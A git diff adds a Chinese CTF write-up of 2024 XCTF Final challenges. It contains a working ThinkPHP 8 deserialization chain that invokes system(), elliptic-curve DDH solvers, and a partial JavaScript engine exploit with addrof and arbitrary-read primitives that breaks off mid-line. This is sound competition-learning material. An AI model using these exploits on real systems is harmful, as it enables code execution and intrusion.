diff --git a/source/_posts/2024-XCTF-FINAL.md b/source/_posts/2024-XCTF-FINAL.md new file mode 100644 index 0000000..d0cc43b --- /dev/null +++ b/source/_posts/2024-XCTF-FINAL.md @@ -0,0 +1,979 @@ +--- +title: 2024 XCTF 联赛 Final 部分题解 +tags: Writeup +categories: Writeup +date: 2024-06-23 17:00:00 +toc: true +--- +丢。 + +<!--more--> + +# Web + +## ezthink + +Thinkphp 8 反序列化链构造 + +路由访问的规则是 `POST ``http://127.0.0.1:8888/xctf/hecker` + +https://xz.aliyun.com/t/12630#toc-3 tp6.0.12 的后半段在 tp8 中依然存在 + +只需要找到从 `__destruct` 到 `__toString` 即可 + +```PHP +<?php + +namespace think\model\concern; + +trait Attribute +{ + private $data = ["key" => ["key1" => "cat /flag"]]; + private $withAttr = ["key"=>["key1"=>"system"]]; + protected $json = ["key"]; +} +namespace think; + +class Route {} + +abstract class Model +{ + use \think\model\concern\Attribute; + private $lazySave; + protected $withEvent; + private $exists; + private $force; + protected $table; + protected $jsonAssoc; + function __construct($obj = '') + { + $this->lazySave = true; + $this->withEvent = false; + $this->exists = true; + $this->force = true; + $this->table = $obj; + $this->jsonAssoc = true; + } +} +namespace think\model; +class Pivot extends \think\Model{ + +} + +namespace think\route; +class Resource { + public function __construct() + { + $this->router = new \think\Route(); + $this->rule = "1.2.3"; + $this->option = ["var" => ["1" => new \think\model\Pivot()]]; + } +} +class ResourceRegister +{ + protected $resource; + protected $registered = false; + public function __construct() + { + $this->registered = false; + $this->resource = new Resource(); + } + public function __destruct() + { + if (!$this->registered) { + $this->register(); + } + } + protected function register() + { + $this->registered = true; + $this->resource->parseGroupRule($this->resource->getRule()); + } +} + +$obj = new ResourceRegister(); +echo "out:\n"; +echo base64_encode(serialize($obj)); +``` + +![img](../images/2024-XCTF-FINAL/20240814201210158.webp) + +# Crypto + +## Cu2ve + +比赛时用的是题目的非预期解,所以先说一下非预期解 + +### 非预期解 + +题目给定E1曲线上的点P、xP、yP和zP,以及曲线E2上的点Q和yQ,需要解一个曲线E1或E2上的DDH问题 + +首先DDH问题可以规约到CDH问题,或者说DLP,即如果可以解CDH或DLP的话就可以解DDH + +然后理论上CDH和DLP都是难解的,但对曲线E1的解n进行分解后发现有一个小因子500 + +于是E1就有一个阶为500(或者500的因子)的小阶群,如果把P、xP、yP和zP都转换到这个小阶群中,就可以通过枚举解决DLP问题,如果熟悉Pohlig-Hellman算法的话应该对这个不陌生 + +最后经过以上操作后理论上可以解出x、y和z(mod 500),然后在模500的情况下检测是否z = xy即可恢复prp的state + +以下为参考代码: + +```Python +p = 176857581480948244867604802349863732783663856225560523858099969581030268141874483416875345636657439749959951621 +n = 176857581480948244867604802349863732783663856225560523834310386551077128936406127697123918346523659026470270500 +A = 1 + +m = 100 +F1 = GF(p) +F2.<u> = GF(p^2) +E1 = EllipticCurve(F1,[A,0]) + +''' +for k in range(100): + print(gcd(n, p^k-1)) +''' +ns = [500, 158465746173819028262477785344468517, 2232123796482243553563388394642252242447624758532104909445052499370196473] + +with open('./output.txt', 'r') as f: + data = f.read().split('\n') +exec(data[0]) +exec('output = %s' % data[1]) + +st = [] +for i in range(len(output)): + s = n // ns[0] + P, xP, yP, zP = [E1(_) for _ in output[i][:4]] + sp, sxp, syp, szp = [s * _ for _ in (P, xP, yP, zP)] + x = [] + y = [] + z = [] + for j in range(ns[0]): + if j * sp == sxp: + x += [j] + if j * sp == syp: + y += [j] + if j * sp == szp: + z += [j] + + xy = [] + for xi in x: + for yi in y: + xy += [Integer(xi * yi % ns[0])] + xy = list(set(xy)) + s = 1 - Integer(set(xy) & set(z) == set()) + print(s) + st += [s] +print(st) + + +''' +[0, 1, 1, 1, 1, 0, 1, 1, 1, 0, 0, 1, 1, 0, 1, 1, 0, 0, 0, 1, 0, 0, 1, 1, 1, 1, 0, 0, 1, 1, 0, 1, 1, 1, 1, 0, 0, 0, 1, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 0, 1, 0, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 0, 0, 0, 1, 0, 0, 1, 1, 1, 0, 0, 0, 0, 1, 0, 1, 0, 0, 1, 0, 1, 0, 0, 1, 0, 1, 0, 0, 1, 1, 0, 0, 0, 0, 1, 1, 0, 0, 1, 1, 1, 0, 1, 0, 0, 1, 1, 1, 1, 0, 1, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 1, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 1, 1, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 0, 0, 0, 1, 1, 1, 1, 0, 1, 0, 0, 1, 1, 0, 1, 1, 1, 0, 0, 0, 1, 0, 0, 1, 0, 0, 1, 1, 1, 1, 1, 1, 0, 0, 0, 1, 1, 1, 1, 0, 1, 1, 1, 0, 0, 1, 1, 1, 0, 1, 0, 0, 0, 1, 1, 1, 0, 1, 1, 1, 0, 1, 0, 1, 1, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 1, 1, 1, 0, 1, 0, 1, 1, 0, 1, 1, 0, 0, 1, 0, 0, 0, 1, 1, 0, 1, 1, 0, 1, 1, 0, 1, 1, 0, 1, 0, 0, 0, 1, 0, 1, 1, 1, 1, 0, 1, 0, 1, 1, 0, 1, 1, 0, 0, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 0, 1, 0, 1, 1, 1, 0, 0, 1, 0, 0, 1, 1, 0, 1, 0, 1, 1, 1, 0, 0, 1, 1, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 1, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 0, 0, 1, 1, 0, 1, 1, 1, 0, 1, 0, 0, 0, 1, 1, 0, 1, 1, 0, 0, 1, 0, 1, 0, 1, 1, 1, 0, 1, 0, 1, 1, 1, 0, 0, 0, 1, 1, 0, 1, 0, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 0, 1, 0, 0, 1, 1, 0, 1, 1, 1, 1, 1, 0, 0, 0, 1, 0, 1, 1, 0, 0, 1, 0, 0, 1, 1, 1, 0, 1, 0, 0, 1, 0, 0, 1, 0, 0, 1, 1, 1, 0, 1, 1, 1, 1, 0, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 1, 0, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 0, 0, 0, 0, 1, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 1, 1, 0, 0, 0, 1, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 1, 1, 1, 0, 0, 1, 0, 1, 0, 1, 1, 1, 1, 0, 1, 1, 0, 1, 0, 1, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 0, 0, 1, 0, 0, 0, 1, 0, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 0, 0, 0, 0, 1, 1, 0, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 0, 0, 0] +''' +``` + +在以上代码中,由于那四个点可能会处于阶更小(500的因子)的子群中,所以可能会出现多个解,我的做法是选择把得到的所有xy和z都放到集合中,然后检查两个集合是否有交集,如果没交集的话说明这个z与xy不相等 + +但是如果有交集的话,则不一定是z = xy,也有可能是点所处的子群阶太小了,导致出现误差,幸好题目给的数据有冗余,所以可以用冗余的数据消除这个误差 + +我的做法是,首先根据题目的twist函数写出逆函数unTwisit,然后把每一组的数据(100个一组)都unTwisit到同一个状态点,即开始的状态 + +然后对比此时的每组数据是否相同,如果有某个位置中,一组数据中为1而另一组数据为0的话,那么这个位置应该为0,因为根据上面说的,0保真,而1不保真 + +除杂完后还要做一次unTwisit,因为prp初始化时就做了一次twist,最后因为加密函数是一个OTP,所以用题目给的encrypt函数解密即可 + +以下为参考代码: + +```Python +from hashlib import shake_128 + +c = 'dbc2eddcafdbd5d2dbc1b92cb32b4d6a604950c127a9d77007ee81bf' +c = bytes.fromhex(c) +st = [0, 1, 1, 1, 1, 0, 1, 1, 1, 0, 0, 1, 1, 0, 1, 1, 0, 0, 0, 1, 0, 0, 1, 1, 1, 1, 0, 0, 1, 1, 0, 1, 1, 1, 1, 0, 0, 0, 1, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 0, 1, 0, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 0, 0, 0, 1, 0, 0, 1, 1, 1, 0, 0, 0, 0, 1, 0, 1, 0, 0, 1, 0, 1, 0, 0, 1, 0, 1, 0, 0, 1, 1, 0, 0, 0, 0, 1, 1, 0, 0, 1, 1, 1, 0, 1, 0, 0, 1, 1, 1, 1, 0, 1, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 1, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 1, 1, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 0, 0, 0, 1, 1, 1, 1, 0, 1, 0, 0, 1, 1, 0, 1, 1, 1, 0, 0, 0, 1, 0, 0, 1, 0, 0, 1, 1, 1, 1, 1, 1, 0, 0, 0, 1, 1, 1, 1, 0, 1, 1, 1, 0, 0, 1, 1, 1, 0, 1, 0, 0, 0, 1, 1, 1, 0, 1, 1, 1, 0, 1, 0, 1, 1, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 1, 1, 1, 0, 1, 0, 1, 1, 0, 1, 1, 0, 0, 1, 0, 0, 0, 1, 1, 0, 1, 1, 0, 1, 1, 0, 1, 1, 0, 1, 0, 0, 0, 1, 0, 1, 1, 1, 1, 0, 1, 0, 1, 1, 0, 1, 1, 0, 0, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 0, 1, 0, 1, 1, 1, 0, 0, 1, 0, 0, 1, 1, 0, 1, 0, 1, 1, 1, 0, 0, 1, 1, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 1, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 0, 0, 1, 1, 0, 1, 1, 1, 0, 1, 0, 0, 0, 1, 1, 0, 1, 1, 0, 0, 1, 0, 1, 0, 1, 1, 1, 0, 1, 0, 1, 1, 1, 0, 0, 0, 1, 1, 0, 1, 0, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 0, 1, 0, 0, 1, 1, 0, 1, 1, 1, 1, 1, 0, 0, 0, 1, 0, 1, 1, 0, 0, 1, 0, 0, 1, 1, 1, 0, 1, 0, 0, 1, 0, 0, 1, 0, 0, 1, 1, 1, 0, 1, 1, 1, 1, 0, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 1, 0, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 0, 0, 0, 0, 1, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 1, 1, 0, 0, 0, 1, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 1, 1, 1, 0, 0, 1, 0, 1, 0, 1, 1, 1, 1, 0, 1, 1, 0, 1, 0, 1, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 0, 0, 1, 0, 0, 0, 1, 0, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 0, 0, 0, 0, 1, 1, 0, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 0, 0, 0] + +twsit_state = [ 76, 5, 29, 61, 62, 54, 66, 69, 81, 48, + 20, 64, 14, 77, 50, 79, 71, 40, 93, 58, + 59, 19, 31, 63, 2, 96, 35, 18, 85, 56, + 21, 33, 7, 99, 17, 38, 97, 89, 74, 32, + 27, 42, 3, 82, 91, 41, 86, 9, 13, 30, + 11, 87, 1, 88, 26, 67, 25, 75, 94, 45, + 68, 39, 55, 16, 28, 57, 49, 37, 52, 22, + 70, 36, 0, 8, 65, 72, 43, 12, 23, 53, + 51, 60, 4, 46, 83, 90, 84, 92, 24, 15, + 80, 98, 34, 78, 95, 44, 73, 10, 6, 47] +tmp = list(range(100)) +uts = [0 for _ in range(100)] +for i in range(100): + uts[twsit_state[i]] = tmp[i] +st = [st[100*i: 100*(i+1)] for i in range(7)] + +def twist(s): + return [s[twsit_state[i]] for i in range(100)] + +def unTwisit(s): + return [s[uts[i]] for i in range(100)] + +#print(twist(unTwisit(st[1])) == st[1]) +for i in range(len(st)-1): + for _ in range(i): + st[i] = unTwisit(st[i]) + #print(st[i]) + +s0 = st[0] +for i in range(1, len(st)-1): + for j in range(100): + if st[i][j] == 0: + if s0[j] != 0: + print(j) + s0[j] = 0 +print(s0) + +def encrypt(msg, key): + y = shake_128("".join(map(str, key)).encode()).digest(len(msg)) + return bytes([msg[i] ^ y[i] for i in range(len(msg))]) + +flag = encrypt(c, unTwisit(s0)) +print(flag) + +# b'flag{u_kn0w_curv3.h@v3_fun!}' +``` + +### (应该是)预期解 + +下面说一下可能的预期解,其实题目给的提示还是挺充足的 + +首先在ECC中,一种解DDH的方法是使用双线性配对(Billinear Pairing),教科书的内容,这里就不细说了 + +比如给P、xP、yP和zP的话,可以通过比较e(P, zP)和e(xP, yP)是否相同来解DDH问题,但在这里显然是不行的,一个原因是这四个点都在一个群里所以实测Pairing后结果都是1,另一个原因是这样的话点Q和yQ就没用了 + +在继续下面的内容之前,先看一下著名的Tate Pairing的定义 + +![img](../images/2024-XCTF-FINAL/20240814201210179.webp) + +即如果要做Tate Pairing的话,就要n的因子里面有一个大素数r,和一个嵌入度k,满足r整除p^k-1 + +所以可以测试一下题目的曲线是否满足,怼个代码测试一下 + +假设能成的话,Pairing需要在Fp^k上做,所以这个k肯定不能太大,于是可以通过枚举,然后检查n和p^k-1是否有大的公因子来找到这个k和r + +```Python +for k in range(100): + print(gcd(n, p^k-1)) +``` + +枚举到k=8的时候发现有大因子,然后顺便可以把n分解了(分解结果可见下面代码) + +到这里的话可以发现题目已经提醒了用Tate Pairing,因为这样的k和r的出现其实是个小概率事件,所以一定是出题人特意构造的 + +如果直接用P、xP、yP和zP的话,即使Tate Pairing可能也不行,猜测可能是因为这四个点都处于同一个子群,于是就可以引入(大概率)与P不相关的点Q,然后比较e(zP, Q)与e(xP, yQ)是否相同来解DDH + +但在做Pairing之前还需要解决一个问题,即点P和点Q不在同一条曲线上,就不能做Pairing + +一种解决方法是,可以把P映射到E2中,或者Q映射到E1中再做,根据这个理论,赛中的时候找到一种Twist的映射 + +![img](../images/2024-XCTF-FINAL/20240814201210236.webp) + +然后题目中的两条曲线刚好满足其中的d=4的情况 + +![img](../images/2024-XCTF-FINAL/20240814201210157.webp) + +那么理论上只要把这个映射复现出来就好,但是比赛的时候一直没搞出来,就止步于此(反而搞出了非预期) + +赛后问出题人要了WP,发现这个映射可以直接使用SageMath的isomorphism_to函数实现,不知道是不是同一个映射,直接用就对了。。。 + +首先需要把曲线E1(F1)和E2(F2)都扩展到E1(Fk)和E2(Fk)中,然后会发现此时E1(Fk)和E2(Fk)的阶相同(目前不清楚原理,盲猜和上面的Twist有关),阶相同就可以直接用isomorphism_to构造一个同态,把点都映射到E1(Fk)中 + +在这一步中,E1(F1) -> E1(Fk)是简单的,而E2(F2) -> E2(Fk)会相对麻烦一点(由于两个有限域模的不可约多项式不一样吧),但可以直接用SageMath的Hom方法做映射 + +最后在E1(Fk)中发现已经有一部分点可以做Tate Pairing了,按照上面的思路解DDH即可 + +至于其他点为什么Tate Pairing的结果依然为1,目前原理未明(盲猜点还是在同一个子群),按出题人WP的说法是需要r整除n2且n不整除n2才可以 + +以下为参考代码: + +```Python +p = 176857581480948244867604802349863732783663856225560523858099969581030268141874483416875345636657439749959951621 +n = 176857581480948244867604802349863732783663856225560523834310386551077128936406127697123918346523659026470270500 +A = 1 + +m = 100 +F1 = GF(p) +F2.<u> = GF(p^2) +E1 = EllipticCurve(F1,[A,0]) +#phi = Hom(F1, F2)(F1.gen().minpoly().roots(F2)[0][0]) + +pp1s = [6, 23132768335507557330794807, 1274221189295081422669971636513498766912631540632477236417739522967803097508257123591] +assert p+1 == product(pp1s) +pm1s = [2, 2, 5, 19, 89, 27697, 2814833442442190293, 570076955711836471445257, 117660627313120748111186257571248999930927680880103312633203] +''' +for k in range(100): + print(gcd(n, p^k-1)) +''' +assert p-1 == product(pm1s) +ns = [500, 158465746173819028262477785344468517, 2232123796482243553563388394642252242447624758532104909445052499370196473] + +r = ns[-1] +ndr = n // r +for k in range(1, 100): + if (p^k-1) % r == 0: + break +print('r = %d' % r) +print('k = %d' % k) + +with open('./../../output.txt', 'r') as f: + data = f.read().split('\n') +exec(data[0]) +exec('output = %s' % data[1]) + +Fk.<v> = GF(p^k) +Ek1 = EllipticCurve(Fk,[A,0]) +phiF_2_k = Hom(F2, Fk)(F2.gen().minpoly().roots(Fk)[0][0]) + +def phiE_2_k2(Q, Ek2): + x, y = [phiF_2_k(_) for _ in Q.xy()] + return Ek2([x, y]) + +st = [] +for i in range(len(output)): + x, y = output[i][4] + a = (y^2 - x^3) * x^(-1) + + E2 = EllipticCurve(F2, [a, 0]) + Q, yQ = [E2(_) for _ in output[i][4:]] + P, xP, yP, zP = [E1(_) for _ in output[i][:4]] + + Ek2 = EllipticCurve(Fk, [phiF_2_k(a),0]) + phiE_k2_k1 = Ek2.isomorphism_to(Ek1) + + Q, yQ = [phiE_2_k2(_, Ek2) for _ in (Q, yQ)] + Q, yQ = [phiE_k2_k1(_) for _ in (Q, yQ)] + P, xP, yP, zP = [Ek1(_) for _ in (P, xP, yP, zP)] + P, xP, yP, zP = [ndr * _ for _ in (P, xP, yP, zP)] + + ez = zP.tate_pairing(Q, r, k) + exy = xP.tate_pairing(yQ, r, k) + if ez == 1 and exy == 1: + st += [None] + elif ez == exy: + st += [1] + else: + st += [0] + + print('%d\t%s' % (i, st[-1])) + +print(st) + + +''' +Sage10 -> faster +[None, None, None, None, None, None, None, 1, 1, 0, None, None, 1, None, None, None, None, None, None, None, 0, 0, 1, None, 1, None, 0, 0, 1, 1, None, None, None, 1, None, 0, None, None, 1, None, 0, None, 1, None, None, None, None, None, None, 0, None, None, None, None, None, 1, None, 1, None, None, None, None, None, None, None, None, None, None, 0, 0, None, None, None, None, None, 0, 0, 1, None, None, None, None, None, None, None, None, None, None, None, None, None, 0, 1, None, None, None, None, None, None, None, None, None, None, None, None, None, 0, 0, None, 1, None, 0, None, None, None, 0, None, None, None, None, 1, None, None, None, None, None, None, None, None, None, None, 1, 1, None, 0, None, None, 1, 0, None, None, 1, None, None, None, 0, 0, 0, 0, 0, None, None, 1, 0, None, 1, 1, None, 1, None, None, None, None, None, 1, 1, None, 0, None, 1, None, None, None, 1, None, 0, None, None, None, None, None, None, None, None, 0, 0, None, None, None, 1, 1, 0, None, None, None, 1, None, None, None, None, 1, None, None, None, None, None, None, None, None, 0, 1, None, None, None, 1, None, None, 0, 0, None, None, 1, 1, None, 1, None, 1, None, None, None, None, None, None, 1, None, None, 0, None, None, None, None, None, None, None, None, None, None, None, 1, None, None, None, None, None, None, None, None, None, 0, 0, None, None, 1, None, None, None, 0, 1, None, None, None, None, None, None, 1, 0, None, None, 0, None, 1, None, 0, None, None, None, None, None, 1, None, None, None, None, None, None, None, None, None, None, 0, None, None, 1, None, None, None, None, None, None, 1, None, None, None, None, None, 0, None, 0, 1, None, 0, None, 1, None, None, 1, 0, None, None, None, None, None, None, None, None, None, 0, None, None, None, 0, None, None, None, None, None, None, None, None, None, None, None, None, None, 1, None, None, 0, None, None, None, None, None, 0, None, None, None, None, None, 1, 0, None, None, None, None, None, 1, None, None, None, 1, None, None, None, None, 1, None, 0, None, 1, 1, 0, None, None, None, 0, None, None, None, None, None, 0, None, None, None, None, None, None, None, None, 0, None, None, None, 1, None, None, 0, None, None, None, None, None, 0, None, None, None, None, 1, None, 1, None, None, 1, None, None, 1, None, None, None, 0, 0, 1, None, None, 1, None, None, 1, 1, 0, None, None, None, None, None, None, 0, None, None, None, 0, None, None, None, None, None, None, 0, None, None, None, 1, None, None, None, None, None, None, None, None, 1, None, None, None, None, 0, None, 0, None, 1, 0, None, None, None, 1, None, 1, None, None, None, 1, None, 0, None, None, None, None, None, None, 1, None, None, 1, None, None, 0, None, None, None, None, 1, 0, None, None, None, None, 0, None, None, None, None, 1, None, 0, 0, None, None, None, None, None, 1, None, None, None, None, 0, 1, 1, None, None, None, 0, None, None, 0, None, None, 0, None, None, None, None, None, None, 0, 1, 1, None, None, None, None, None, None, None, None, None, None, None, 1, None, None, None, None, None, None, None, None, None, None, None, 0, None, None, None, None, 0, None, 0, 1, 1, None, None, None, None, None, 1, 1, None, None, None, None, None, 0, None] +''' +``` + +解出来把所有数据组合后发现依然有16个比特是未知的,但2^16并不大,爆破即可 + +参考代码: + +```Python +from hashlib import shake_128 + +c = 'dbc2eddcafdbd5d2dbc1b92cb32b4d6a604950c127a9d77007ee81bf' +c = bytes.fromhex(c) +st = [None, None, None, None, None, None, None, 1, 1, 0, None, None, 1, None, None, None, None, None, None, None, 0, 0, 1, None, 1, None, 0, 0, 1, 1, None, None, None, 1, None, 0, None, None, 1, None, 0, None, 1, None, None, None, None, None, None, 0, None, None, None, None, None, 1, None, 1, None, None, None, None, None, None, None, None, None, None, 0, 0, None, None, None, None, None, 0, 0, 1, None, None, None, None, None, None, None, None, None, None, None, None, None, 0, 1, None, None, None, None, None, None, None, None, None, None, None, None, None, 0, 0, None, 1, None, 0, None, None, None, 0, None, None, None, None, 1, None, None, None, None, None, None, None, None, None, None, 1, 1, None, 0, None, None, 1, 0, None, None, 1, None, None, None, 0, 0, 0, 0, 0, None, None, 1, 0, None, 1, 1, None, 1, None, None, None, None, None, 1, 1, None, 0, None, 1, None, None, None, 1, None, 0, None, None, None, None, None, None, None, None, 0, 0, None, None, None, 1, 1, 0, None, None, None, 1, None, None, None, None, 1, None, None, None, None, None, None, None, None, 0, 1, None, None, None, 1, None, None, 0, 0, None, None, 1, 1, None, 1, None, 1, None, None, None, None, None, None, 1, None, None, 0, None, None, None, None, None, None, None, None, None, None, None, 1, None, None, None, None, None, None, None, None, None, 0, 0, None, None, 1, None, None, None, 0, 1, None, None, None, None, None, None, 1, 0, None, None, 0, None, 1, None, 0, None, None, None, None, None, 1, None, None, None, None, None, None, None, None, None, None, 0, None, None, 1, None, None, None, None, None, None, 1, None, None, None, None, None, 0, None, 0, 1, None, 0, None, 1, None, None, 1, 0, None, None, None, None, None, None, None, None, None, 0, None, None, None, 0, None, None, None, None, None, None, None, None, None, None, None, None, None, 1, None, None, 0, None, None, None, None, None, 0, None, None, None, None, None, 1, 0, None, None, None, None, None, 1, None, None, None, 1, None, None, None, None, 1, None, 0, None, 1, 1, 0, None, None, None, 0, None, None, None, None, None, 0, None, None, None, None, None, None, None, None, 0, None, None, None, 1, None, None, 0, None, None, None, None, None, 0, None, None, None, None, 1, None, 1, None, None, 1, None, None, 1, None, None, None, 0, 0, 1, None, None, 1, None, None, 1, 1, 0, None, None, None, None, None, None, 0, None, None, None, 0, None, None, None, None, None, None, 0, None, None, None, 1, None, None, None, None, None, None, None, None, 1, None, None, None, None, 0, None, 0, None, 1, 0, None, None, None, 1, None, 1, None, None, None, 1, None, 0, None, None, None, None, None, None, 1, None, None, 1, None, None, 0, None, None, None, None, 1, 0, None, None, None, None, 0, None, None, None, None, 1, None, 0, 0, None, None, None, None, None, 1, None, None, None, None, 0, 1, 1, None, None, None, 0, None, None, 0, None, None, 0, None, None, None, None, None, None, 0, 1, 1, None, None, None, None, None, None, None, None, None, None, None, 1, None, None, None, None, None, None, None, None, None, None, None, 0, None, None, None, None, 0, None, 0, 1, 1, None, None, None, None, None, 1, 1, None, None, None, None, None, 0, None] + +twsit_state = [ 76, 5, 29, 61, 62, 54, 66, 69, 81, 48, + 20, 64, 14, 77, 50, 79, 71, 40, 93, 58, + 59, 19, 31, 63, 2, 96, 35, 18, 85, 56, + 21, 33, 7, 99, 17, 38, 97, 89, 74, 32, + 27, 42, 3, 82, 91, 41, 86, 9, 13, 30, + 11, 87, 1, 88, 26, 67, 25, 75, 94, 45, + 68, 39, 55, 16, 28, 57, 49, 37, 52, 22, + 70, 36, 0, 8, 65, 72, 43, 12, 23, 53, + 51, 60, 4, 46, 83, 90, 84, 92, 24, 15, + 80, 98, 34, 78, 95, 44, 73, 10, 6, 47] +tmp = list(range(100)) +uts = [0 for _ in range(100)] +for i in range(100): + uts[twsit_state[i]] = tmp[i] +st = [st[100*i: 100*(i+1)] for i in range(7)] + +def twist(s): + return [s[twsit_state[i]] for i in range(100)] + +def unTwisit(s): + return [s[uts[i]] for i in range(100)] + +#print(twist(unTwisit(st[1])) == st[1]) +st[-1] += [None] * (100 - len(st[-1])) +for i in range(len(st)): + for _ in range(i): + st[i] = unTwisit(st[i]) + #print(st[i]) + +st2 = [] +for i in range(100): + st2 += [set([st[_][i] for _ in range(7)])] + try: + st2[-1].remove(None) + st2[-1] = sorted(list(st2[-1])) + except: + pass +print(st2) +s0 = [6 if _==[] else _[0] for _ in st2] +s0 = unTwisit(s0) +print(s0) + +key = ''.join(map(str, s0)) +n = key.count('6') +key = key.replace('6', '%d') +print(key) +print(n) + +import itertools +from tqdm import tqdm + +for xxx in tqdm(itertools.product((0, 1), repeat=n), total=2^n): + k = key % xxx + y = shake_128(k.encode()).digest(len(c)) + flag = bytes([c[i] ^ y[i] for i in range(len(c))]) + if b'flag' in flag: + print(k) + print(flag) + +''' +0111110111111111010000000000010101100101010001010011000011101111101101000011000101100111100110111001 +b'flag{u_kn0w_curv3.h@v3_fun!}' +''' +``` + +参考文献:Guide to pairing-based cryptography[M]. CRC Press, 2017. + +# Pwn + +## 0ob + +```JavaScript +let dogc_flag = false; + +function foo() { + return [ + 1.0, + 1.95538254221075331056310651818E-246, + 1.95606125582421466942709801013E-246, + 1.99957147195425773436923756715E-246, + 1.95337673326740932133292175341E-246, + 2.63486047652296056448306022844E-284]; +} +for (let i = 0; i < 0x100000; i++) { + foo(); foo(); foo(); foo(); foo(); foo(); foo(); foo(); foo(); foo(); +} + +var arr_buf = new ArrayBuffer(8); +var arr_buf2 = new ArrayBuffer(8); +var f64_arr = new Float64Array(arr_buf); +var b64_arr = new BigInt64Array(arr_buf); +let u32_arr = new Uint32Array(arr_buf); +function ftoi(f) { + f64_arr[0] = f; + return b64_arr[0]; +} +function itof(i) { + b64_arr[0] = i; + return f64_arr[0]; +} +function smi(i) { + return i << 1n; +} +function hex(i) { + return "0x"+i.toString(16); +} + +function gc_minor() { + for (let i = 0; i < 0x100; i++) { + new ArrayBuffer(0x10000); + } +} + +function gc() { + if (dogc_flag) { + gc_minor(); + } +} + +function js_heap_defragment() { + for (let i = 0; i < 0x1000; i++) new ArrayBuffer(0x10); + for (let i = 0; i < 0x1000; i++) new Uint32Array(1); +} + +let empty_object = {} +let empty_array = [] +let corrupted_instance = null; + +class ClassParent { } +class ClassBug extends ClassParent { + constructor() { + const v24 = new new.target(); + let x = [ + empty_object, empty_object, empty_object, empty_object, + empty_object, empty_object, empty_object, empty_object, + empty_object, empty_object, empty_object, + ]; + super(); + let a = [ + 1.1 + ]; + // super(); + this.x = x; + this.a = a; + JSON.stringify(empty_array); + } + [1] = gc(); +} + +for (let i = 0; i < 200; i++) { + dogc_flag = false; + if (i % 2 == 0) dogc_flag = true; + gc(); +} + +for (let i = 0; i < 650; i++) { + + dogc_flag = false; + if (i == 644 || i == 645 || i == 646 || i == 640) { + dogc_flag = true; + gc(); + dogc_flag = false; + } + if (i == 646) dogc_flag = true; + + let x = Reflect.construct(ClassBug, empty_array, ClassParent); + if (i == 646) corrupted_instance = x; +} + +function addrof(obj) { + corrupted_instance.x[5] = obj; + f64_arr[0] = corrupted_instance.a[0]; + let r = u32_arr[0] & 0xffffffff; + return r; +} + +// set fake length +corrupted_instance.x[10] = 0x10000; +console.log("[*] a.length: "+corrupted_instance.a.length); +if (corrupted_instance.a.length != 0x10000) { + console.log("[*] failed to set a.length"); + exit(); +} + +let target_arr = new Uint32Array(arr_buf); +target_arr[0] = 0x41414141; +target_arr[1] = 0x42424242; +target_arr[2] = 0x43434343; +target_arr[3] = 0x44444444; +let addrof_target_arr = addrof(target_arr); +console.log("[*] target_arr address: "+hex(addrof_target_arr)); + +heap_lower32 = corrupted_instance.a[0x8ed]; +heap_lower32 = ftoi(heap_lower32) & 0xffffffffn; +heap_higher32 = corrupted_instance.a[0x8ed]; +heap_higher32 = ftoi(heap_higher32) >> 32n; +heap_addr = (heap_higher32 << 32n) | heap_lower32; +console.log("[*] heap address: "+hex(heap_addr)); + +function set_heap_addr(addr) { + corrupted_instance.a[0x8ed] = itof(addr); +} + +function heap_arb_read(addr) { + set_heap_addr(addr); + return BigInt(target_arr[0]) | (BigInt(target_arr[1]) << 32n); +} + +js_heap_ptr = heap_arb_read(heap_addr+0x48n) +console.log("[*] js heap ptr: "+hex(js_heap_ptr)); +js_heap = heap_arb_read(js_heap_ptr+0x0n); +console.log("[*] js heap address: "+hex(js_heap)); + +addrof_foo = addrof(foo); +console.log("[*] foo address: "+hex(addrof_foo)); + +function heap_arb_read32(addr) { + return heap_arb_read(addr) & 0xffffffffn; +} +foo_code = 